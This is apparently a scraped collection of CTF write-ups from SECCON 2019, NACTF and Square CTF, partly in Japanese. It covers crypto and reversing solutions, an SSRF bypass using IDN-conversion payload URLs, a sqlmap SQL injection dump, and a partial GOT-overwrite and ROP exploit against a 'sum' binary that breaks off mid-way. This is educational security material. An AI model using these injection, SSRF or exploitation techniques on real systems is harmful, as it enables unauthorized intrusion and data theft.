* Obviously, XOR can be reversed by XORing again with the same value.* We know last 12 bytes of `spl` and first 12 bytes of `spr` because we providethem as a salt.
Based on this, we are already able to recover some part of `rnd(salted_pass)`.But this is useless for recovering the random password because completelydifferent parts of `rnd(salted_pass)` are XORed with parts of `salted_pass`containing password. But are they really different?
I tried to carefully read `xor()` function again and realized that if the firstargument (`spl` or `spr`) is longer than the second argument (`h(v)`), itactually starts reusing some bytes from the second argument! Half of the`salted_pass` is 32 bytes, but three of four "normal" hashes has only 20 byteresult. This means that, with some probability, script generates final hashwhere `rnd(salted_pass)` contains repeating sequences. And thus, with someprobability, we are able to recover the password.
The simplified brute-force algorithm is:
* Feed server with completely random salt values.* Un-XOR parts of `rnd(salted_pass)` based on known random salt.* Assume that we are lucky and only 20 bytes of each half of `rnd(salted_pass)`are actually unique. Try to un-XOR parts of the initial random password.* If we've got the same value two times from different iterations, then this isthe real password.
The rest is simple: terminate guessing cycle, calculate hash based on server'ssalt and on recovered password, send calculated hash back to server.
Code is [here](./solution.py). |
Open Cell.jar and choose :
- Cell size ==> Medium - Plane type ==> 8x1
Click InPat : https://imgur.com/l8DY78g
Put this in the program area : NW == 4 : 3 NE == 3 :4 SW == 1 : 2 SE == 2 : 1 C == 5 : C
Click step until Generation == 20 : https://imgur.com/eM9NfKP
If you can't see correctly, click outpat and then check outpattern.txt, replace the numbers for more visibility : https://imgur.com/4zerYBk
flag : nactf{ib_bio_ftw} |
暗号化スクリプトと、暗号文がおいてある。鍵も置いてあるので、読みながら順番に元に戻すコードを書いて復元する。
import sysfrom Crypto.Cipher import AESimport base64 def encrypt(key, text): s = '' for i in range(len(text)): s += chr((((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20) return s def decrypt(key, text): s = '' for i in range(len(text)): s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20) + (0x7e-0x20+1)) % (0x7e - 0x20 + 1)) + 0x20) return s key1 = "SECCON"key2 = "seccon2019"#text = sys.argv[1] #enc1 = encrypt(key1, text)cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)#p = 16 - (len(enc1) % 16)#enc2 = cipher.encrypt(enc1 + chr(p) * p)#print(base64.b64encode(enc2).decode('ascii')) crypted='FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905'crypt_raw=base64.b64decode(crypted)enc1 = cipher.decrypt(crypt_raw) enc1 = enc1[:-5] print decrypt(key1, enc1)1 SECCON{Success_Decryption_Yeah_Yeah_SECCON}Option-Cmd-U
繋ぐと、指定した URL に接続し、取得した HTML を表示してくれる。ソースコードも公開されている。フラグは /flag.php にあるが、こちらは内部ネットワークからしか見れないとのこと。Docker で構成され、 http://nginx/ に繋げばよさそうな雰囲気が漂っているが、 IP アドレス確認で nginx と一致するとはじかれる仕様になっている。
当該ソースコードには、以下のような部分があった。
$url = filter_input(INPUT_GET, 'url');$parsed_url = parse_url($url); if($parsed_url["scheme"] !== "http"){ // only http: should be allowed. echo 'URL should start with http!';} else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) { // local access to nginx from php-fpm should be blocked. echo 'Oops, are you a robot or an attacker?';} else { // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/ highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46), false, stream_context_create(array( 'http' => array( 'follow_location' => false, 'timeout' => 2 ) ))));}
ここで、 idn_to_ascii という処理を挟んでいるが、ドメイン部をチェックする部分まではよかったものの、その後 file_get_contents で中身を取得する際に URL 全体に対してこの処理をかけてしまっていることに気付く。/や:も生き残るようなので、「正しく URL を解釈した場合にはホスト名が nginx にならず」「URL 全体を idn_to_ascii してしまったら、 nginx につながる URL になる」ような URL を渡すことになる。
全角文字をつけると、ピリオドで区切られた範囲で最初に xn-- が、最後に全角文字を変換した文字が入るので、 http://a:.b@あnginx/ などとするとxn-- は @ の前のパスワード部に、全角文字を変換したものは / のあとになるので、ホスト名をだますことまではできたが、 flag.php のピリオドが邪魔でなかなかうまくいかなかった。
試行錯誤の結果 http://a:hb.@¡nginx:80./flag.php が http://a:hb.xn--@nginx:80-qja./flag.php に変換させるところまではいけたが、 PHP の file_get_contents はポート番号は先頭が数字ならそこだけ解釈するものの、 5 文字以下でないと形式として認識しないようで、うまくいっていなかった。( ¡ は調べた限り idn_to_ascii が返還対象にする中では一番若い Unicode 番号を持っており、これ以上の短縮は厳しいように思えた)
これをチャットに貼ってしばらく悩んでいたところ、チームメンバーが http://a:.@✊nginx:80.:/flag.php なら通るということに気付き、フラグが得たようだ。変換後は http://a:.xn--@nginx:80-5s4f.:/flag.php となり、ポート番号らしき箇所が二つあるが、 PHP はそういうことは気にしないようだ。1 SECCON{what_a_easy_bypass_314208thg0n423g} |
# Talk to me (100p) [ruby]
In this challenge, you're given the address and port to a telnet server. Connecting to it, you get a `Hello!` from the server. When you enter something back, it will either print an error, the message `I wish you would greet me the way I greeted you.` or `I can't understand you`. Experimenting a bit with the inputs, it looks like the code is doing something like `eval(input).match(...)`, except if it detects any letter it will not eval your input, but send the "I can't understand you". [This article](https://threeifbywhiskey.github.io/2014/03/05/non-alphanumeric-ruby-for-fun-and-not-much-else/) describes how you can write ruby code without letters, and since we are able to use the quote sign `'`, we can create strings with the shovel operator trick they describe. After many failed attempts at RCE, I realized that the program actually wanted me to write "Hello!" back. The solution then becomes `''<<72<<101<<108<<108<<111<<33`.
# Aesni (700p) [binary]Opening this binary in a disassembler only shows a single function, which seems to decrypt some code (using the AESENC instruction), then jumping to the decrypted code. Following the code in a debugger, we can see that this loop is actually running multiple times. It exits early if no arguments are given to the program, so we have to provide one. Simply single-stepping through the code, I see that the string `ThIs-iS-fInE` is loaded into a register and used in a comparison. If we give this as a param, the flag is returned.
```root@2f4b836ef375:/ctf/work# ./aesni ThIs-iS-fInEflag-cdce7e89a7607239```
# Decode me (150p) [snake oil]We're given a .pyc file (Python bytecode) and an "encoded" PNG file. The pyc file is easily reversed with uncompyle6 and looks like this:
```pythonimport base64, string, sysfrom random import shuffle
def encode(f, inp): s = string.printable init = lambda : (list(s), []) bag, buf = init() for x in inp: if x not in s: continue while True: r = bag[0] bag.remove(r) diff = (ord(x) - ord(r) + len(s)) % len(s) if diff == 0 or len(bag) == 0: shuffle(buf) f.write(('').join(buf)) f.write('\x00') bag, buf = init() shuffle(bag) else: break
buf.extend(r * (diff - 1)) f.write(r)
shuffle(buf) f.write(('').join(buf))
if __name__ == '__main__': with open(sys.argv[1], 'rb') as (r): w = open(sys.argv[1] + '.enc', 'wb') b64 = base64.b64encode(r.read()) encode(w, b64)```
At first glance, this code looks impossible to reverse due to its heavy use of shuffle(), and the fact that it might terminate early if `diff == 0`, giving blocks that are uneven in length. But the algorithm here is actually fairly straight-forward; base64-encode the input, initialize a permutation of all the printable characters, and *remove* one by one character from the permutation. For each letter you remove, measure the distance to the current input byte, and add (diff-1) of the removed letter to a temporary buffer. That means that if the input was an 'a', and you removed a 'g' from the permutation list, it would add `ord('g')-ord('a')-1` of the letter "g" to the temprary buffer. Once the permutation list is empty, or you run into a situation where the removed letter matches the input, the entire temporary buffer is *shuffled*, then added to the output (followed by a null-byte).
To reverse this, we need to differentiate the removed letters from the temporary buffer in the output. These two form one "block", and there are multiple blocks delimited by a null-byte in the output. Since each letter is actually removed from the permutation when encoding, we can simply take one by one letter until we find a duplicate letter that we've seen before. This marks the divide between `bag` and `buf`. The rest is simply counting the number of occurences of each letter from `bag`, as this will tell us the difference we need to add/subtract to get the real input. Because of the modulo operation, there are some bytes that could be valid ascii both as +100 and -100, but we want the one where the solution lands inside the alphabet used for base64.
The final decoder looks like this:```pythonfrom string import printable
#PNG header b64 iVBORw0KGgb64alpha = map(ord, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
b64buf = ""data = open("decodeme.png.enc", "rb").read()
e_counter = 0ix = 0while ix < len(data): r_list = [] while data[ix] not in r_list: r_list.append(data[ix]) ix += 1 try: STOP = ix + data[ix:].index("\x00") except ValueError: STOP = len(data)
buf = data[ix:STOP] for r in r_list: if r == "\x00": continue diff = buf.count(r) + 1 x = (diff + ord(r)) & 0xFF if x not in b64alpha: if 0 > (x - len(printable)): x += len(printable) else: x -= len(printable) if x not in b64alpha: print(x, ix, STOP, len(data), (diff + ord(r))) assert False b64buf += chr(x)
ix = STOP + 1
with open("decodeme.png", "wb") as fd: fd.write(b64buf.decode('base-64'))```
# Inwasmble (200p) [web]
We've given a link to an HTML site, where we're greeted by this box:

At first glance, the code seems to contain nothing

but opening it in a text editor, reveals that it contains a ton of unicode letters that take up no space. The code actually looks like this:
```javascriptvar code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a, 0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d, 0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21, 0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41, 0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00, 0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 0x00, 0x00, 0x47, 0x0d, 0x02, 0x20, 0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01, 0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01, 0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42, 0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77, 0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51]);var wa = new WebAssembly.Instance(new WebAssembly.Module(code));var buf = new Uint8Array(wa.exports.memory.buffer);async function go() { sizes = [...[...Array(4)].keys()].map(x => x * 128); buf.set(x.value.substr(sizes[0], sizes[1]) .padEnd(sizes[1]) .split('') .map(x => x.charCodeAt(''))); if (wa.exports.validate()) { hash = await window.crypto.subtle.digest("SHA-1", buf.slice(sizes[2], sizes[3])); r.innerText = "\uD83D\uDEA9 flag-" + [...new Uint8Array(hash)].map(x => x.toString(16)) .join(''); } else { r.innerHTML = x.value == "" ? " " : "\u26D4"; }}```
which, after running it through `wasm2js` from [binaryen](https://github.com/WebAssembly/binaryen), looks more like this
```javascriptfunction $0() { var $i = 0, $1 = 0, $2 = 0; $i = 0; label$1 : { label$2 : { label$3 : while (1) { if (($i) == (32)) { break label$2 } $2 = 2; $1 = 0; label$4 : { label$5 : while (1) { if (($i) == ($1)) { break label$4 } $2 = Math_imul(HEAP32[(Math_imul($1, 4) + 256) >> 2], $2); $1 = $1 + 1; continue label$5; }; } HEAP32[(Math_imul($i, 4) + 256) >> 2] = $2 + 1; if (((HEAPU8[$i]) ^ (HEAPU8[($i + 128)])) != (HEAPU8[(Math_imul($i, 4) + 256)])) { break label$1 } $i = $i + 1; continue label$3; }; } return 1; } return 0; }```
where the global buffer at index 128 is set to the string of "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=" (after base64 decoding).
A simple Python equivalent, which totally doesn't have an overflow that makes it super slow to run, can be seen here:
```pythonbuffer = [0] * 65536buf_128 = "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=".decode('base-64')
i, var1, var2 = 0, 0, 0flag = ""
while True: if i == 32: break var2 = 2 var1 = 0 while True: if i == var1: break var2 = buffer[(var1*4+256)>>2] * var2 var1 += 1 buffer[(i*4+256)>>2] = var2 + 1 flag += chr(((var2 + 1) ^ ord(buf_128[i])) & 0xFF) i += 1 print(flag)```
this eventually prints out `Impossible is for the unwilling.`, and entering this into the box gives our flag.

# Lockbox (600p) [go, web]
We're given an image with the URL `https://lockbox-6ebc413cec10999c.squarectf.com/?id=3` on it, and the source code to a Golang website for storing time-locked secrets. To upload a secret, you need to enter a time when your message should be decryptable, and a captcha. When you want to read a message, you need to provide both the id and the hmac of the data, and the current server time must be greater than the given timelock time. The crypto and time check alone seem good enough, and there's no glaring vulnerabilities there we can immediately use. (They are using a very bad IV, and not verifying the consistency of all the parameters together, but we can't get to the key or trick the server time into being anything else).
However, the captcha is generated in your session, but instead of giving the letters to you, they give them in an encrypted form. The `/captcha` end-point is able to decrypt this captcha message, and display it to you. So the end-point is basically a decryption oracle. If we can obtain an encrypted message, we can decrypt it with the captcha oracle, and by increasing the width parameter we can see all the letters in the output.
The `id` parameter is also being used directly inside an SQL query with no attempts at sanitation, and exploiting this is trivial. For maximum ease, I just used sqlmap for this, and the final command looked like this
`$ python sqlmap.py -o -u "https://lockbox-6ebc413cec10999c.squarectf.com/?id=3" --random-agent -D primary_app_db -T texts --dump`
```+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| id | data | lock |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| 1 | TIJlneBxX-6sr4kUQdw0idCcoDh-t0lj5fU9e3cgU_gmLOZ96NrvxRe32o0wWrPJsv_66ACUTgPL_ewvHxMvOn2AGZl2opQO15rOjfkiw1lAEzhtK62J2Ce3T-SyzCpzSPSwQM6OdoF9HeZCH_xqFg | 1570492800 || 2 | P2HVNdfiXhJVnbjE70yqC2fLS8Cez0bxvfoDfDn5FRo8nAVU_R5ZTblcj5CgLw_qtM_D3zgWElLmeFqIGZwq49kgI-rvlR_tKXmFMVGbkVaTeEy6V0JM9EiRthnlIEjAq_L8Qs9WTBWZ2nzZrs57Mw | 1570665600 || 3 | Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ | 1602288000 |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+```
decrypting it can be done by entering message 3 like `https://lockbox-6ebc413cec10999c.squarectf.com/captcha?w=700&c=Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ` and we get the flag as an image:

# Go cipher (1000p) [go, not web]We are given a piece of Golang code, and a bunch of ciphertext/plaintext pairs. The flag ciphertext has no plaintext component, and all ciphertexts are in hex form. Going through the code, there are a few things to notice:
1. The md5sum of the key is written at the start of each ciphertext. The only ciphertext that has a key match with the flag, is "story4.txt.enc".2. The key consists of 3 64-bit numbers; x, y and z.3. Our output is simply `(input - x) ^ y ^ z` where the lowest 8 bits of x/y/z are used.4. x is bitwise rotated 1 step to the right, and y/z are both rotated 1 step to the left. This means that y and z are shifting equally, and since the ouput is just XORed with both, we could replace them with k=y^z and treat it as a single number.
I used Z3 to recover some key that successfully encrypts `story4.txt` into the known bytes in `story4.txt.enc`. Getting the exact original key is not necessary.
```pythonfrom z3 import *
def rotl(num, bits): bit = num & (1 << (bits-1)) num <<= 1 if(bit): num |= 1 num &= (2**bits-1)
return num
def rotr(num, bits): num &= (2**bits-1) bit = num & 1 num >>= 1 if(bit): num |= (1 << (bits-1))
return num
x_org = BitVec("x", 64)y_org = BitVec("y", 64)z_org = BitVec("z", 64)
x, y, z = x_org, y_org, z_orgdata_enc = map(ord, open("story4.txt.enc").read()[32:].decode('hex'))data_dec = map(ord, open("story4.txt").read())
assert len(data_enc) == len(data_dec)
s = Solver()for i in xrange(len(data_dec)): s.add( ((data_dec[i] - (x&0xFF)) ^ (y&0xFF) ^ (z&0xFF)) &0xFF == data_enc[i]) x = RotateRight(x, 1) y = RotateLeft(y, 1) z = RotateLeft(z, 1)
if s.check() == sat: m = s.model() xx = m[x_org].as_long() yy = m[y_org].as_long() zz = m[z_org].as_long() flag_enc = map(ord, open("flag.txt.enc").read()[32:].decode('hex')) flag_dec = "" for e in flag_enc: flag_dec += chr( ((e ^ (yy&0xFF) ^ (zz&0xFF)) + xx&0xFF) & 0xFF ) xx=rotr(xx, 64) yy=rotl(yy, 64) zz=rotl(zz, 64) print(flag_dec)```
Prints `Yes, you did it! flag-742CF8ED6A2BF55807B14719`
# 20.pl (500p) [perl, cryptography]
Deobfuscating the script gives something like this```perl#!/usr/bin/perl
print( "usage: echo <plaintext|ciphertext> | $0 <key>" ) && exit unless scalar @ARGV;$/ = \1;use constant H => 128;@key = split "", $ARGV[0];for ( @a = [], $i = H ; $i-- ; $a[$i] = $i ) { }for ( $j = $i = 0 ; $i < H ; $i++ ) { $j += $a[$i] + ord $key[ $i % 16 ]; ( $a[$i], $a[ $j % H ] ) = ( $a[ $j % H ], $a[$i] );}
for ( $i = $j = $m = 0 ; <STDIN> ; print chr( ord $_ ^ $l ^ $m ) ) { $j += $a[ ++$i % H ]; ( $a[ $i % H ], $a[ $j % H ] ) = ( $a[ $j % H ], $a[ $i % H ] ); $l = $a[ ( $a[ $i % H ] + $a[ $j % H ] ) % H ]; $m = ( ord( $key[ $i / 64 % 16 ] ) << $i ) & 0xff; $x = $i / 64 % 16;} # -- Alok```
It initializes some array with values 0..128, then permutes that array based on the key (which is up to 16 bytes long). Finally, it continues to permute the array and XORs the input with elements from the array. This has all the hallmarks of RC4, except it doesn't operate on values up to 255. What this means, is that `$l` is never larger than 127, and thus the top bit of the input is never touched by XOR with `$l`. However, the input is also XORed with an `$m`, which contains a byte of the key, but shifted upwards.
Looking at the top bit of 8 consecutive bytes, will immediately give out one byte of the key, *provided that the original input was ASCII* - as printable ASCII does not have the top bit set either. Our target file is a PDF, which contain mixed ASCII parts and binary streams, and our goal is then to try to find a long enough stretch of ASCII that we can recover the key. I experimented a bit with various offsets into the code, and quickly learnt that the key was only hexadecimal letters. This narrowed the scope of candidate letters by quite a lot, and near the end of the PDF I was able to find something that decode into a key that worked.
```pythonimport operator
printable = "01234567890abcdef"
data = open("flag.pdf.enc","rb").read()
all_cands = [{} for _ in xrange(16)]
for block in range(700, len(data)//(64*16)): for i in xrange(16): cands = {} for j in xrange(8): keychar = "" for k in xrange(8): ix = (block*64*16) + i*64 + j*8 + k keychar += "1" if ord(data[ix])&0x80 else "0" c = chr(int(keychar, 2) >> 1) if c in printable: cands[c] = cands.get(c,0) + 1
for k, v in cands.iteritems(): all_cands[i][k] = all_cands[i].get(k,0) + v
key = ""
for cand in all_cands: sorted_cands = sorted(cand.iteritems(), key=operator.itemgetter(1), reverse=True) print(sorted_cands[:3]) key += sorted_cands[0][0]
print(key)```
Now we just run `cat flag.pdf.enc | perl5.20.1 20.pl 4600e0ca7e616da0 > flag.pdf` and we get the flag back. |
# Seccon 2019 Quals Sum
Let's take a look at the binary and libc:
```$ file sum_ccafa40ee6a5a675341787636292bf3c84d17264sum_ccafa40ee6a5a675341787636292bf3c84d17264: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=593a57775caa3028bd2ab72873bedaa36734cdb6, not stripped$ pwn checksec sum_ccafa40ee6a5a675341787636292bf3c84d17264[*] '/home/guyinatuxedo/Desktop/seccon/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)$ ./libc.soGNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 7.3.0.libc ABIs: UNIQUE IFUNCFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.$ ./sum_ccafa40ee6a5a675341787636292bf3c84d17264[sum system]Input numbers except for 0.0 is interpreted as the end of sequence.
[Example]2 3 4 01506$ ./sum_ccafa40ee6a5a675341787636292bf3c84d17264[sum system]Input numbers except for 0.0 is interpreted as the end of sequence.
[Example]2 3 4 0156987Segmentation fault (core dumped)```
So we can see that it is a `64` bit elf, with a stack canary, and non-executable stack. The binary appears to add numbers together. We input the numbers one at a time, and a `0` will end the sequence. If we input 6 digits, it crashes. Let's take a look under the hood.
## Reversing
When we take a look at the `main` function in ghidra, we see this:
```undefined8 main(void)
{ ulong uVar1; long in_FS_OFFSET; undefined8 ints; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; long *amnt; long local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); ints = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_18 = 0; amnt = &local_18; puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n"); puts("[Example]\n2 3 4 0"); read_ints((long)&ints,5); uVar1 = sum((long)&ints,amnt); if (5 < (int)uVar1) { /* WARNING: Subroutine does not return */ exit(-1); } printf("%llu\n",local_18); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}```
When we look at the main function, we see that it first establishes an int array `ints`, that can hold 6 integers. The sixth integer in this array is `amnt`, which is a pointer to the next integer on the stack, `local_18`. First it prints out some text, then calls `read_ints`:
```void read_ints(long ints,long amnt)
{ int scanfCheck; long in_FS_OFFSET; long i; long stackCanary; stackCanary = *(long *)(in_FS_OFFSET + 0x28); i = 0; while (i <= amnt) { scanfCheck = __isoc99_scanf(&DAT_00400a68,ints + i * 8,i * 8); if (scanfCheck != 1) { /* WARNING: Subroutine does not return */ exit(-1); } if (*(long *)(ints + i * 8) == 0) break; i = i + 1; } if (stackCanary == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail();}```
So here we can see it will scan in integers into the array passed by it's first argument, until it either gets a `0` or it scans in `amnt` + 1 integers. Under the context it is called, it will scan in a maximum of `6` integers into the `ints` array. Proceeding that it calls `sum`, with the arguments being the `ints` array and `amnt`:
```ulong sum(long ints,long *x)
{ long in_FS_OFFSET; uint i; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); *x = 0; i = 0; while (*(long *)(ints + (long)(int)i * 8) != 0) { *x = *(long *)(ints + (long)(int)i * 8) + *x; i = i + 1; } if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return (ulong)i;}```
So we can see that it adds up all of the values in `ints`, and stores them in `x`. In the context that it is called, it will add up the six (or less) values stored in `ints`, and store it in `amnt`. In addition to that, there is an integer overflow bug here, since it doesn't check if the values it is adding together will cause an overflow. Since we control `amnt`, we effectively have a write what where. The value returned is the number of numbers it added together. Looking at the rest of the main function, we see that if we gave it six numbers (thus causing the write what where bug), it will call `exit`. If not it will call `printf` and return from main.
## Exploitation
So we have a write what where, with no relro or pie. The first problem is that right after our write, it will call `exit`. This can be solved by just overwriting the got address of `exit` (`0x601048`) with the start of `main` (`0x400903`). That way when it calls `exit`, it will just put us back at the start of `main`. This will give us a loop where we get multiple qword writes.
Now the next hurdle is getting a libc infoleak. At this point, one of my team-mates mksrg gave me the idea to do a stack pivot. When we take a look at the stack layout when `printf` is called (`exit` will also have this), we see something interesting:
```gef➤ b *0x4009bfBreakpoint 1 at 0x4009bfgef➤ rStarting program: /home/guyinatuxedo/Desktop/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264[sum system]Input numbers except for 0.0 is interpreted as the end of sequence.
[Example]2 3 4 01593579517530[ Legend: Modified register | Code | Heap | Stack | String ]────────────────────────────────────────────────────────────────────────────────────── registers ────$rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x20 $rsp : 0x00007fffffffdee0 → 0x000000000000009f$rbp : 0x00007fffffffdf20 → 0x00000000004009e0 → <__libc_csu_init+0> push r15$rsi : 0x8ac $rdi : 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?)$rip : 0x00000000004009bf → <main+188> call 0x400620 <printf@plt>$r8 : 0x0 $r9 : 0x0 $r10 : 0x00007ffff7b82cc0 → 0x0002000200020002$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp$r13 : 0x00007fffffffe000 → 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007fffffffdee0│+0x0000: 0x000000000000009f ← $rsp0x00007fffffffdee8│+0x0008: 0x00000000000001650x00007fffffffdef0│+0x0010: 0x00000000000003b70x00007fffffffdef8│+0x0018: 0x00000000000002f10x00007fffffffdf00│+0x0020: 0x00000000000000000x00007fffffffdf08│+0x0028: 0x00007fffffffdf10 → 0x00000000000008ac0x00007fffffffdf10│+0x0030: 0x00000000000008ac0x00007fffffffdf18│+0x0038: 0x571694db34020d00──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4009af <main+172> lock mov rsi, rax 0x4009b3 <main+176> lea rdi, [rip+0x11b] # 0x400ad5 0x4009ba <main+183> mov eax, 0x0 → 0x4009bf <main+188> call 0x400620 <printf@plt> ↳ 0x400620 <printf@plt+0> jmp QWORD PTR [rip+0x200a02] # 0x601028 0x400626 <printf@plt+6> push 0x2 0x40062b <printf@plt+11> jmp 0x4005f0 0x400630 <alarm@plt+0> jmp QWORD PTR [rip+0x2009fa] # 0x601030 0x400636 <alarm@plt+6> push 0x3 0x40063b <alarm@plt+11> jmp 0x4005f0──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────printf@plt ( $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?), $rsi = 0x00000000000008ac, $rdx = 0x0000000000000020, $rcx = 0x0000000000000000)──────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x4009bf → main()─────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00000000004009bf in main ()gef➤ ```
So when `printf` is called, the values on the stack are the numbers that we sent to be added up. Of course, when the `call` instruction happens the return address (the instruction right after the call) will be pushed onto the stack. But after that on the stack, will be values we control. So if we were to overwrite the got address of `printf` with a rop gadget like `pop rdi; ret`, we can start roping.
To find out ROP gadget:```$ ROPgadget --binary sum_ccafa40ee6a5a675341787636292bf3c84d17264 | grep "pop rdi"0x0000000000400a43 : pop rdi ; ret```
Now for the rop chain itself, it will contain the following values:
```0x00: popRdi Instruction0x08: got address of puts0x10: plt address of puts0x18: 0x4009a7 (the `exit` call, so we will loop back to main)0x20: "0" (to end the number sequence)```
First off, remember that this chain is executed when `printf` is called, after we overwrite the got address of printf with `0x400a43`. Now this is just a rop chain to give us a libc infoleak by using `puts` to print the got address of `puts`. When I first tried this, I ran into some issues where what I was doing was messing with some of the internals of puts/scanf. I played around with what I was calling, and where I was jumping, and after a little bit I got something that worked. Let's see this rop gadget in action:
First we hit printf:```───────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05900│+0x0000: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi ← $rsp0x00007ffcc5e05908│+0x0008: 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r130x00007ffcc5e05910│+0x0010: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x6010180x00007ffcc5e05918│+0x0018: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0020: 0x00000000000000000x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930 → 0x0000000001202a020x00007ffcc5e05930│+0x0030: 0x0000000001202a020x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00─────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4009af <main+172> lock mov rsi, rax 0x4009b3 <main+176> lea rdi, [rip+0x11b] # 0x400ad5 0x4009ba <main+183> mov eax, 0x0 → 0x4009bf <main+188> call 0x400620 <printf@plt> ↳ 0x400620 <printf@plt+0> jmp QWORD PTR [rip+0x200a02] # 0x601028 0x400626 <printf@plt+6> push 0x2 0x40062b <printf@plt+11> jmp 0x4005f0 